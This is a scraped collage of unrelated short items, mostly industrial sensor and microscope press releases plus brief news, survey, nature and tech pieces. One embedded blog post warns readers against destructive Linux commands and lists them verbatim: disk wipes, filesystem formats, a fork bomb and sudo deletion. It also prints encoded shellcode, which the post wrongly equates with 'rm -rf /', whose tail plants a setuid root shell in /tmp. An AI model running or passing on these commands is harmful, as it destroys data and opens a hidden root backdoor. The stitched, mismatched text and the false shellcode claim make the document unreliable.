Author: Serkadis

… with modular fieldbus interface:

A newcomer in the broad modular encoder program by Baumer IVO: An especially compact absolute hollow shaft encoder that as basic device can be “topped” with several modular bus covers. This results in simplified wiring work, improved flexibility and reduced stocks since the modular bus cover is simply docked to the basic encoder. It is a considerable benefit also regarding cost-effective maintenance because encoder and bus electronics can be exchanged independently from each other. Encoder and bus cover provide several diagnostic functions for preventive maintenance actions resulting in increased machine performance. The user can choose between bus covers with CANopen, DeviceNet, EtherCat and Profibus interface as well as between several mounting options. The new multivo encoders are available with maximum 14 mm hollow shaft and also in stainless steel designs. Singleturn resolution is 13 bit, for multiturn operation 16 bit.

NE131 from the product range of Baumer IVO is a multifunctional electronic preset counter that is up to varied application demands of industry automation. It not only evaluates both DC and AC pulses between 12 and 260 V but also the signals of one-channel digital sensors. Thus it can optionally be utilized as pulse or hour counter with or less totalizer. One or two optionally programmable preset values enable direct process control by output relay. Also the counting mode is programmable as adding or subtracting. In conjunction with the automatic reset function the counter is a versatile aid in all kinds of industrial production and handling processes.
The compact counter with mounting frame and DIN dimensions of 48 x 48 mm enables convenient installation in the machine’s control panel and provides a shallow installation depth of only 108 mm. The counter front is up to protection standard IP 65, screw terminals enable convenient e-connection. Thanks to a count frequency of 25 Hz resp. 1 kHz with DC-trigger the counter is nearly an all-purpose device, all the more by the programmable scaling factor from 0.0001 to 999.999.

With the PB series, Baumer is introducing a new pressure transmitter family based on a modular system which can be adjusted individually to customers’ needs. Remarkable is the high accuracy (of up to 0.1 % F.S.) over a large compensated temperature range of -40 °C up to +85 °C. The pressure range is between 100 mbar and 1600 bar. The FlexProgrammer 9701 enables the transmitter’s easy configuration.

Four different sensor technologies (capacitive ceramic, silicon piezo, thin film or ceramic thick film) as well as a wide range of industrial process and electrical connections are provided. The PB pressure transmitters offer high accuracy, even in demanding outdoor applications like in hydraulic and pneumatic, water treatment or the chemical industry. The measuring cells are characterised by excellent long-term stability and outstanding measuring performance in terms of linearity and hysteresis. With the highest possible accuracy class, the total error band is just ±0.4 % F.S. over the whole compensated temperature range.

Mounted in a robust stainless steel housing, the pressure sensors have a high resistance against shocks, vibrations and overpressure. Therefore, the PB series is very reliable for applications in harsh environments. The ceramic or fully welded metal measuring cells guarantee a high resistance to corrosive chemicals or abrasive fluids. Options with ATEX or SIL2 approval allow installations in safety-critical and hazardous area applications.

Baumer introduces its new and improved retroreflective sensor FRDK 14 for transparent objects. Thanks to the new housing concept, the photoelectric sensor can be adjusted easily and quickly via a teach-in button.
The high sensitivity of this retro-reflective sensor allows for it to detect glass, transparent packaging or PET bottles safely. Due to the short response time of only 0.1 ms, edges of moving, transparent foils can be positioned exactly. At the same time, it is irrelevant whether the object is directly in front of the sensor or closer to the reflector. The short adaptation time of only 20 ms permits the sensor to be taught subsequently or to be adjusted to changing tasks via an external teach-in connection while the process is running.
In addition to the red light sensor there is also a laser version available. This sensor is particularly suitable for applications with higher precision requirements. The Series 14 sensors are all available with the standard cable, M8 or M12 connections. To facilitate the installation, Baumer offers a frame adapter. This accessory allows for the sensor to be inserted into a cut-out in a steel sheet without using screws or tools.

Vision Engineering Ltd has introduced a new digital video camera specifically for their range of stereo inspection microscopes and non-contact metrology range of systems.

The NEW Unicam digital camera option with the Lynx stereo zoom microscope offers engineers an ideal solution for instantaneously digitising imagery of component parts without the need for constant realignment or adjustment.

Designed to work effortlessly with the stereo zoom microscope, engineers can capture imperfections on components parts, analyse and cataloguing the defects for quality control.
With bright white LED illumination and up to x120 magnification, the Lynx offers a versatile solution for production and quality. Available with stand options and other optional extras including an oblique and direct viewer for a 360 degree view of the component under magnification.

Available as a retrofit or a new accessory, the high resolution Unicam camera is easy integrated with Vision Engineering’s range of microscopes with USB 2.0 connectivity, external connections including composite video and a variety of image formats, including BMP, JPEG & PNG formats and, all at a very competitive price.

At the moment many operators in automation have to face the challenging implementation of the new machine guideline 2006/42/EG. The new encoder family MAGRES redundant by Baumer unites many of the resulting safety requirements in one device.

The redundant singleturn and multiturn sensing system of the MAGRES redundant is unique and unrivalled in its compact configuration. The integrated monitoring system compares the values provided by the individual position systems and will give an error warning in case of malfunction. The monitoring system provides even more benefits: Less processing work for the control, less cabling efforts and consequently a considerable cost reduction. An emergency operation is also imaginable. SIL 3 approval and PLe certificate are in preparation.

MAGRES redundant provides top-grade functionality without any compromise in compact design and robustness. The encoders are available in same housings as the wellknown 58 mm versions and provide the characteristic MAGRES robustness thanks to fully-magnetic sensing without breakable parts and consistent component reduction. The MAGRES redundant, in combination with a compact cable-pull, allows Baumer to present a special high-light in cost-efficient solutions for length measurement in safety-relevant applications.

Vision Engineering Limited is launching an updated Lynx LED stereo microscope with oblique and direct viewer. Now employing LED illumination and an oblique and direct viewer, the Lynx provides a full 360°-view around the components for 34° angled inspection of corners that can often be hard to reach by usual stereo inspection methods.

The Lynx is widely used in industries where stereo inspection is required, offering unrivalled ergonomic performance and optimum clarity with superb optics. In addition, the Lynx now benefits from LED illumination, projecting brighter, whiter, long-life illumination on the component part. Consumable costs have also been greatly reduced with costs decreasing by more than 80% and lamp life lasting up to an impressive 10,000 hours. The dimmable LEDs allow for every application to benefit from the precise intensity of illumination.

The LED illumination can now be used in conjunction with the impressive oblique and direct viewer. Coupled with the switchable direct view and the benefits of stereo viewing offered by the Lynx, surface features can be easily inspected in three dimensions without moving the workpiece.

Lynx also benefits from Vision Engineering’s patented Dynascope eyepieceless technology to offer users advanced ergonomics by removing the restriction of conventional binocular eyepieces. Movement of the head and eyes no longer means losing the field of vision, providing complete freedom of head movement, significantly reducing operator fatigue over long periods of time. With ergonomics optimised and the oblique and direct viewer offering maximised rotational views, the system offers increased productivity and precision for inspecting component parts.

Forget that the Yen is sitting at a 14-year high, or that the country remains a gigantic mess. Buyers went nuts in Japan last night.

WSJ: Japan’s Nikkei 225 closed up 3.8%, Australia’s S&P/ASX 200 added 0.3%, South Korea’s Kospi Composite gained 1.5% and New Zealand’s NZX-50 finished 0.1% higher. Hong Kong’s Hang Seng ended up 1.2%, while China’s Shanghai Composite fell 0.2% and Taiwan’s main index edged up 0.1%.

In foreign exchange markets, the U.S. dollar remained supported against the yen on speculation Japanese authorities may step in to curb the yen’s recent surge to 14-year highs. Japanese Prime Minister Yukio Hatoyama was quoted by the Nikkei Wednesday as saying the yen’s sharp rise against other major currencies “cannot be left as is.”

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See Also:

• The Nikkei Is Perfectly Aligned With The S&P 500 As Measured In Gold
• With Dollar At 14-Year Low Against Yen, Japan Raises Hints Of Dramatic Intervention
• Japanese Yen On A Tear

New research released today reveals that older people outshine younger generations when it comes to keeping in touch with neighbours. It’s the over-65s who are more likely to chat in person to someone on their street (82 per cent). In contrast, amongst people aged 18-24s just 44 per cent speak to their neighbours on a regular basis, indicating that perhaps online social networks are taking over.

These are the findings of new research published today by Circle Anglia – one of the UK’s leading providers of affordable housing – as part of their 2009 survey of ‘Neighbourly Habits.’

Not only do the majority of the over-65s say they know the name of their neighbours (92 percent), they also actually enjoy spending time with them (56 per cent). This compared to only 66 per cent of the 18-24s who know the names of their immediate neighbours and the 26 percent who said they enjoy time spent with neighbours.

The poll of 2,000 people found that overwhelmingly older people are more trusting of the people who live on their street. While they are out of the house, 91 per cent of senior citizens said they trust their neighbours enough to look after deliveries, compared to just 62 percent of the 18-24s. Regionally, nine out of 10 residents (87 per cent) in the North West are happy to trust their neighbour with deliveries compared to only 77 per cent of Londoners.

Andy Doylend, Executive Director of Operations, Circle Anglia said, “Older people are far more likely to suffer from social isolation. This research not only demonstrates the value people over 65 place on talking to neighbours – but also the benefits of this such as an increased trust in the community which can make a real difference to people’s quality of life.

“That’s why we’re calling on people throughout the UK to bridge the age gap this festive season and take time to say hello to their neighbours. With the rise of social networking and online communications tools, it’s essential that neighbours lend a hand during this festive time to show that they value real relationships just as much as their online ones.”

Circle Anglia

Yes, there have and only recently. There are now four sub-species of ostrich; the fifth, which inhabited Syria and Arabia has now become extinct because of uncontrolled hunting. It was last seen in 1941 but there was an unconfirmed sighting in 1966.

The North African ostrich is still in existence but its spread has been much reduced by hunting. It is still found to the south of the Atlas mountains in an area of desert that stretches from Senegal and Nigeria through to Sudan and central Ethiopia.

WireLizard

The Masai ostrich still lives in the African national parks in Kenya and Tanzania and the Somali ostrich lives north of the River Tana in Kenya, in Somalia and southern Ethiopia. The South African ostrich is found along the border between Namibia and Angola.

Ostriches eat a wide range of foods and walk for miles following herds of grazing animals. More ostriches are likely to disappear as the savannah habitats are further encroached by human activity.

Mentionmap [asterisq.com] is an inspiring network visualization that allows for the exploration of one’s Twitter network. Users can discover which people interact the most, what they are actually talking about, and what people are relevant to follow on Twitter.

Mentionmap loads each user’s Twitter collection of recent status updates (or tweets) and parses the names of people and hashtags they talked about the most. Mentions are represented as linear connections, and discussions between multiple users emerge as clusters. Selecting a user will display their network of mentions as well as further details gathered from their profile. The lines between nodes can be hovered for details, and are drawn thicker if the users talked about each other more often. The keywords in the blue bar on the top of the page allows for the retracing of user interactions.

I write this with an icy sunrise view of Lake Michigan. Maxwell and I are in Chicago for some meetings, staying with some good friends who live in a wonderful, warm apartment with a big kitchen. But let’s not mince words: it’s freezing here.

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Stop panicking. It’s only a holiday and it comes every year. Seriously. Put down the credit card, and don’t worry about elbowing your way through a pile of sale sweaters. If there’s one thing you know people like, it’s food. So why not stay at home and make some edible gifts in your socks? Put on a winter-y mix of music and just cook your gifts.

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This week we updated our collaboration and social computing vendor evaluations. Specifically, we updated the following reviews:

• BlueKiwi
• ConnectBeam
• Google
• IBM
• Jive
• Lithium
• Socialtext
• Twitter
• WordPress

As always, our subscribers and recent customers will receive their updates automatically. You can also download a free sample of any of our evaluations.

Google’s obsession with speed is notorious and it’s evident in all of its products from the homepage to Chrome. And it’s not satisfied with making its own sites faster, it wants all the web to be faster. Google already has several projects focusing on this as well and is now launching a new tool for webmasters to provide them with rather detailed stats on the performance of their own sites.

“We’ve just launched Site Performance, an experimental feature in Webmaster Tools that shows you information about the speed of your site and suggestions for making it faster,” Sreeram Ramachandran, software engineer, and Arvind Jain, director, Faster Web program wrote. “This is a small step in our larger effort to make the web faster. Studies have repeatedly shown that speeding up your site leads to increased user retention and activity, higher revenue and lower costs.”

Google Site Performance is available in the Labs section of the tools. It shows webmasters the load speed of their sites and how it changed over time, but also how they compare to other sites, as well as examples of other pages and their load times. The point is to give website owners an accurate image of how their site performs and how it stacks up to other similar sites in order to help them improve it.

… (read more)

In this post I will collect all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.

NEVER RUN THESE COMMANDS IN LINUX BOX CLI!

Even if somebody advises you in forum/im to do it.

1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:

• sudo rm -rf /
• rm -rf .*
• dd if=/dev/zero of=/dev/sda
• mkfs.ext3 /dev/hda
• whatever > /dev/hda
• cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
• find -type f -mtime +30 -exec mv {} /dev/null \;
• mv ~ /dev/null
• mv / /dev/null

2. Causes kernel panic or freezes Linux box:

• dd if=/dev/random of=/dev/port
• ){:|:&};: #also known as fork bomb

3. This one does the same as “rm -rf /”:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

4. This one will prevent you from executing commands with root rights:

rm -f /usr/bin/sudo;rm -f /bin/su

If you know any other commands that can damage running Linux system or pose fatal problem to system administrators — just comment it here so I could update this post. Thanks.

Update: See what happens if execute rm -rf / in Ubuntu: http://www.youtube.com/watch?v=wWOjmvWPRvQ

In Denmark, it is completely legal to make copies of commercial videos for personal backup or other private purposes. However, it is illegal to break the DRM on any dvd, which completely prevent the copying of any DVD.  They promised him a response, then didn’t respond. So now he’s reporting himself to the police. He wants a trial, so that the legality of the DRM-breaking law can be tested in court.

Last month, Henrik Anderson informed the Danish anti-piracy outfit Antipiratgruppen that he had broken the DRM on more than one hundred legally-purchased DVD movies and TV shows in the process of ripping his collection to his computer. This act is forbidden, but seemingly also allowed under Danish law, because the anti-piracy group never even responded to Anderson’s report.

Torn between the lawmakers in his country and the lawyers who represent the DVD companies, Anderson has decided that reporting himself directly to the police is the only way he’ll finally see what this law truly amounts to. Henrik feels that the circumstances he is trying to draw attention to can only be solved by him going to trial. Hopefully then, the Minister for Culture and the Danish parliament will see that the law has to be changed. Courtesy of torrentfreak.com

Yahoo just announced that it’s getting a lot more friendly with Facebook with a new level of integration across both sites. So, what better time for Google to announce an integration deal with Twitter than now? Google Friend Connect has a new login option now featured front and center in the sign in dialog, you guessed it, Twitter. Now Twitter users can log into any of the nine million sites using Friend Connect with their credentials from the microblogging site.

“Today, we’re bringing Twitter and Friend Connect even closer together. Now you can join one of over nine million Google Friend Connect sites using your Twitter login. Once signed in, your Twitter profile will be automatically linked and you can tweet your new site membership, share discussions from the comments gadget, and invite your friends via Twitter,” James Reilly from the Google Friend Connect team announced.

Don’t let the length of the announcement fool you, this is a big deal. Google may not be emphasizing the move too much, but this is a big victory for the microblogging platform and for social networking in general. You could argue that this is just another login option, among the many already available, but what it means is that Google is recognizing the power of one of the two rising stars in social media at the mome… (read more)